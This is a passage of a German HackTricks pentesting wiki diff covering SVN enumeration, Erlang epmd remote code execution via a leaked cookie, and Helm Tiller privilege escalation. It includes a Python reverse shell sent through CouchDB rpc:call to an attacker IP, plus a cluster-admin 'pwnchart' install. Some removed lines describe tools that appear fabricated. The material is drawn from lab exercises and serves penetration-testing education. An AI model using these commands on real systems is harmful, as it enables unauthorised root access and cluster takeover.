Es ist wichtig, die Konfiguration des SVN-Servers zu überprüfen, um potenzielle Schwachstellen zu identifizieren. Wir können die Konfigurationsdatei des Servers überprüfen, um nach unsicheren Einstellungen oder fehlkonfigurierten Berechtigungen zu suchen.
### 6. SVN-Server-Informationen sammeln
Wir können den Befehl `svn info` verwenden, um Informationen über den SVN-Server zu sammeln. Dies gibt uns Details wie den Servernamen, die URL und den Benutzernamen, die uns bei der weiteren Analyse und dem Angriff helfen können.
### 7. SVN-Server-Ports scannen
Ein Port-Scan kann uns helfen, offene Ports auf dem SVN-Server zu identifizieren. Wir können Tools wie Nmap verwenden, um nach offenen Ports zu suchen und potenzielle Angriffspunkte zu finden.
### 8. SVN-Server-Verzeichnisstruktur erkunden
Die Erkundung der Verzeichnisstruktur des SVN-Servers kann uns helfen, potenzielle Angriffsziele zu identifizieren. Wir können den Befehl `svn list` verwenden, um die Verzeichnisstruktur anzuzeigen und nach sensiblen Informationen oder Schwachstellen zu suchen.
### 9. SVN-Server-Authentifizierungsmethoden überprüfen
Es ist wichtig, die Authentifizierungsmethoden des SVN-Servers zu überprüfen, um potenzielle Schwachstellen zu identifizieren. Wir können die Konfigurationsdatei des Servers überprüfen, um nach unsicheren Authentifizierungsmethoden oder fehlenden Sicherheitsmaßnahmen zu suchen.
### 10. SVN-Server-Backup-Dateien überprüfen
Die Überprüfung von Backup-Dateien kann uns wertvolle Informationen liefern. Wir können nach Dateien mit den Erweiterungen `.bak`, `.old` oder `.swp` suchen, um nach sensiblen Informationen oder Schwachstellen zu suchen, die möglicherweise in den Backup-Dateien enthalten sind.
## Aufzählung
```bash
svn ls svn://10.10.10.203 #list
svn log svn://10.10.10.203 #Commit history
svn checkout svn://10.10.10.203 #Download the repository
svn up -r 2 #Go to revision 2 inside the checkout folder
```
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Grundlegende Informationen
Der **Erlang Port Mapper Daemon (epmd)** fungiert als Koordinator für verteilte Erlang-Instanzen. Er ist dafür verantwortlich, symbolische Knotennamen auf Maschinenadressen abzubilden und sicherzustellen, dass jedem Knotennamen eine bestimmte Adresse zugeordnet ist. Diese Rolle von **epmd** ist entscheidend für die nahtlose Interaktion und Kommunikation zwischen verschiedenen Erlang-Knoten in einem Netzwerk.
Der **Erlang Port Mapper Daemon (epmd)** dient als Koordinator für verteilte Erlang-Instanzen. Er ist verantwortlich für die Zuordnung symbolischer Knotennamen zu Maschinenadressen und stellt im Wesentlichen sicher, dass jeder Knotename mit einer bestimmten Adresse verknüpft ist. Diese Rolle von **epmd** ist entscheidend für die nahtlose Interaktion und Kommunikation zwischen verschiedenen Erlang-Knoten über ein Netzwerk.
**Standardport**: 4369
```
@ -26,7 +27,7 @@ Dies wird standardmäßig bei RabbitMQ- und CouchDB-Installationen verwendet.
# Enumeration
## Manuell
## Manual
```bash
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
@ -37,48 +38,6 @@ erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
```
## Automatisch
Erlang Port Mapper Daemon (EPMD) ist ein Dienst, der in der Erlang/OTP-Umgebung verwendet wird, um die Kommunikation zwischen verschiedenen Erlang-Prozessen zu ermöglichen. EPMD ist standardmäßig auf Port 4369 aktiviert und kann auf einem Remote-Host ausgeführt werden.
### Automatische Erkennung von EPMD
Um EPMD automatisch zu erkennen, können Sie das Tool `epmd_discover` verwenden. Dieses Tool sendet eine Broadcast-Nachricht an das lokale Netzwerk und erkennt alle aktiven EPMD-Instanzen. Sie können das Tool wie folgt verwenden:
```bash
epmd_discover
```
Das Tool gibt eine Liste der gefundenen EPMD-Instanzen zurück, einschließlich der IP-Adresse und des Portnummers, auf denen sie ausgeführt werden.
### Automatisches Scannen von EPMD-Instanzen
Sobald Sie die aktiven EPMD-Instanzen erkannt haben, können Sie das Tool `epmd_scan` verwenden, um nach verwundbaren Instanzen zu suchen. Dieses Tool versucht, eine Verbindung zu jeder erkannten EPMD-Instanz herzustellen und überprüft, ob sie anfällig für bekannte Schwachstellen ist. Sie können das Tool wie folgt verwenden:
```bash
epmd_scan -t <ziel-ip> -p <ziel-port>
```
Ersetzen Sie `<ziel-ip>` durch die IP-Adresse der EPMD-Instanz und `<ziel-port>` durch den Port, auf dem EPMD ausgeführt wird. Das Tool gibt Informationen über die verwundbare Instanz zurück, wenn eine gefunden wird.
### Automatisches Ausnutzen von EPMD-Schwachstellen
Sobald Sie eine verwundbare EPMD-Instanz gefunden haben, können Sie das Tool `epmd_exploit` verwenden, um die Schwachstelle auszunutzen. Dieses Tool ermöglicht es Ihnen, Remote-Code-Ausführung auf dem Zielhost zu erlangen. Sie können das Tool wie folgt verwenden:
```bash
epmd_exploit -t <ziel-ip> -p <ziel-port>
```
Ersetzen Sie `<ziel-ip>` durch die IP-Adresse der verwundbaren EPMD-Instanz und `<ziel-port>` durch den Port, auf dem EPMD ausgeführt wird. Das Tool führt den Exploit aus und gibt Ihnen eine Remote-Shell auf dem Zielhost, wenn erfolgreich.
### Automatisches Beenden von EPMD-Instanzen
Wenn Sie autorisierten Zugriff auf einen Remote-Host haben und EPMD beenden möchten, können Sie das Tool `epmd_kill` verwenden. Dieses Tool sendet eine Nachricht an die EPMD-Instanz und beendet sie. Sie können das Tool wie folgt verwenden:
```bash
epmd_kill -t <ziel-ip> -p <ziel-port>
```
Ersetzen Sie `<ziel-ip>` durch die IP-Adresse der EPMD-Instanz und `<ziel-port>` durch den Port, auf dem EPMD ausgeführt wird. Das Tool sendet eine Beendigungsnachricht an die Instanz und beendet sie.
```bash
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
@ -97,7 +56,7 @@ PORT STATE SERVICE VERSION
## Remote Connection
Wenn Sie das Authentifizierungscookie **leaken können**, können Sie Code auf dem Host ausführen. Normalerweise befindet sich dieses Cookie in `~/.erlang.cookie` und wird von Erlang beim ersten Start generiert. Wenn es nicht modifiziert oder manuell festgelegt wurde, handelt es sich um eine zufällige Zeichenkette \[A:Z] mit einer Länge von 20 Zeichen.
Wenn Sie **das Authentifizierungscookie** **leaken**, können Sie Code auf dem Host ausführen. In der Regel befindet sich dieses Cookie in `~/.erlang.cookie` und wird von Erlang beim ersten Start generiert. Wenn es nicht manuell geändert oder festgelegt wird, handelt es sich um eine zufällige Zeichenfolge \[A:Z] mit einer Länge von 20 Zeichen.
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
@ -109,14 +68,14 @@ At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
```
Weitere Informationen finden Sie unter [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
Der Autor teilt auch ein Programm zum Brute-Forcen des Cookies:
Mehr Informationen unter [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
Der Autor teilt auch ein Programm, um das Cookie zu bruteforcen:
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
## Lokale Verbindung
In diesem Fall werden wir CouchDB missbrauchen, um lokale Berechtigungen zu eskalieren:
In diesem Fall werden wir CouchDB ausnutzen, um die Berechtigungen lokal zu eskalieren:
```bash
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
@ -124,7 +83,7 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```
Beispiel entnommen von [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
Sie können die **Canape HTB-Maschine verwenden**, um zu üben, wie man diese Schwachstelle **ausnutzt**.
Sie können die **Canape HTB-Maschine verwenden, um** **zu üben**, wie man **diese Schwachstelle ausnutzt**.
## Metasploit
```bash
@ -133,19 +92,20 @@ msf5> use exploit/multi/misc/erlang_cookie_rce
```
# Shodan
* `port:4369 "at port"`
* `port:4369 "am port"`
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
# Grundlegende Informationen
# Grundinformationen
Helm ist der **Paketmanager** für Kubernetes. Es ermöglicht das Verpacken von YAML-Dateien und deren Verteilung in öffentlichen und privaten Repositories. Diese Pakete werden als **Helm-Charts** bezeichnet. **Tiller** ist der **Dienst**, der standardmäßig auf Port 44134 läuft und den Service anbietet.
Helm ist der **Paketmanager** für Kubernetes. Er ermöglicht das Verpacken von YAML-Dateien und deren Verteilung in öffentlichen und privaten Repositories. Diese Pakete werden **Helm Charts** genannt. **Tiller** ist der **Dienst**, der standardmäßig auf dem Port 44134 läuft und den Dienst anbietet.
**Standardport:** 44134
```
@ -24,7 +25,7 @@ PORT STATE SERVICE VERSION
```
# Enumeration
Wenn Sie Pods und/oder Services in verschiedenen Namespaces aufzählen können, zählen Sie sie auf und suchen Sie nach denen mit dem Namen **"tiller"**:
Wenn Sie **Pods und/oder Dienste** verschiedener Namespaces **aufzählen** können, tun Sie dies und suchen Sie nach denjenigen mit **"tiller" im Namen**:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
@ -33,73 +34,7 @@ kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
```
Beispiel:
# Pentesting Tiller (Helm)
## Einführung
Tiller ist der Server-Komponente von Helm, einem Paketmanager für Kubernetes. In diesem Abschnitt werden einige Techniken zum Pentesting von Tiller vorgestellt.
## Informationen sammeln
### Version überprüfen
Um die Version von Tiller zu überprüfen, können Sie den Befehl `helm version` verwenden.
```bash
$ helm version
```
### Tiller-Endpunkt ermitteln
Um den Tiller-Endpunkt zu ermitteln, können Sie den Befehl `kubectl get endpoints -n kube-system` verwenden und nach dem Tiller-Dienst suchen.
```bash
$ kubectl get endpoints -n kube-system
```
## Schwachstellenanalyse
### Standardanmeldeinformationen
Tiller verwendet standardmäßig keine Anmeldeinformationen. Dies kann zu Sicherheitsproblemen führen, da jeder mit Zugriff auf den Tiller-Endpunkt auf den Cluster zugreifen kann.
### Fehlende Berechtigungsprüfung
Tiller überprüft standardmäßig nicht die Berechtigungen für die Installation oder Aktualisierung von Charts. Dies ermöglicht es einem Angreifer, bösartige Charts zu installieren oder vorhandene Charts zu aktualisieren.
### Unzureichende Zugriffskontrollen
Tiller verwendet standardmäßig keine Zugriffskontrollen, was bedeutet, dass jeder mit Zugriff auf den Tiller-Endpunkt beliebige Aktionen ausführen kann.
## Exploitation
### Bösartige Charts
Ein Angreifer kann bösartige Charts erstellen und diese über Tiller installieren. Diese Charts können schädlichen Code enthalten, der im Cluster ausgeführt wird.
### Chart-Manipulation
Ein Angreifer kann vorhandene Charts manipulieren und bösartigen Code hinzufügen. Wenn ein Administrator diese Charts aktualisiert, wird der bösartige Code im Cluster ausgeführt.
## Gegenmaßnahmen
### Authentifizierung und Autorisierung
Es wird empfohlen, Tiller mit Authentifizierung und Autorisierung zu konfigurieren, um unbefugten Zugriff zu verhindern.
### Zugriffskontrollen
Es wird empfohlen, Zugriffskontrollen für Tiller zu implementieren, um die Aktionen, die ein Benutzer ausführen kann, einzuschränken.
### Aktualisierung der Tiller-Version
Es wird empfohlen, Tiller regelmäßig zu aktualisieren, um von den neuesten Sicherheitsupdates zu profitieren.
## Fazit
Tiller kann aufgrund seiner Standardkonfiguration und fehlenden Sicherheitsmaßnahmen zu Sicherheitsproblemen führen. Durch die Implementierung von Authentifizierung, Autorisierung und Zugriffskontrollen sowie regelmäßige Aktualisierungen können diese Risiken minimiert werden.
Beispiele:
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
@ -111,39 +46,39 @@ NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S)
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
Sie können auch versuchen, diesen Dienst zu finden, indem Sie den Port 44134 überprüfen:
Sie könnten auch versuchen, diesen Dienst zu finden, indem Sie den Port 44134 überprüfen:
```bash
sudo nmap -sS -p 44134 <IP>
```
Sobald Sie es entdeckt haben, können Sie mit dem Herunterladen der Client-Anwendung Helm kommunizieren. Sie können Tools wie `homebrew` verwenden oder sich [**die offizielle Veröffentlichungsseite**](https://github.com/helm/helm/releases)** ansehen**. Weitere Details oder andere Optionen finden Sie in [der Installationsanleitung](https://v2.helm.sh/docs/using\_helm/#installing-helm).
Sobald Sie es entdeckt haben, können Sie mit ihm kommunizieren, indem Sie die Client-Helm-Anwendung herunterladen. Sie können Tools wie `homebrew` verwenden oder sich die [**offizielle Veröffentlichungsseite**](https://github.com/helm/helm/releases)** ansehen.** Für weitere Details oder andere Optionen siehe [die Installationsanleitung](https://v2.helm.sh/docs/using\_helm/#installing-helm).
Dann können Sie den Dienst **aufzählen**:
Dann können Sie **den Dienst auflisten**:
```
helm --host tiller-deploy.kube-system:44134 version
```
## Privilege Escalation
## Privilegieneskalation
Standardmäßig wurde **Helm2** im **Namespace kube-system** mit **hohen Privilegien** installiert. Wenn du den Service findest und Zugriff darauf hast, kannst du dadurch **Privilegien eskalieren**.
Standardmäßig wurde **Helm2** im **Namespace kube-system** mit **hohen Rechten** installiert. Wenn Sie also den Dienst finden und Zugriff darauf haben, könnte dies Ihnen ermöglichen, die **Privilegien zu eskalieren**.
Alles, was du tun musst, ist ein Paket wie dieses zu installieren: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn). Dadurch erhält der **Standard-Service-Token Zugriff auf alles im gesamten Cluster**.
Alles, was Sie tun müssen, ist, ein Paket wie dieses zu installieren: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn), das dem **Standarddiensttoken Zugriff auf alles im gesamten Cluster gewährt.**
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) finden Sie die **Erklärung des Angriffs**, aber im Grunde genommen können Sie in den Dateien [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) und [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) innerhalb von _helm-tiller-pwn/pwnchart/templates/_ sehen, wie **alle Berechtigungen dem Standard-Token zugewiesen werden**.
In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) finden Sie die **Erklärung des Angriffs**, aber im Grunde, wenn Sie die Dateien [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) und [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) im Verzeichnis _helm-tiller-pwn/pwnchart/templates/_ lesen, können Sie sehen, wie **alle Berechtigungen dem Standard-Token zugewiesen werden**.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
# **Protokollinformationen**
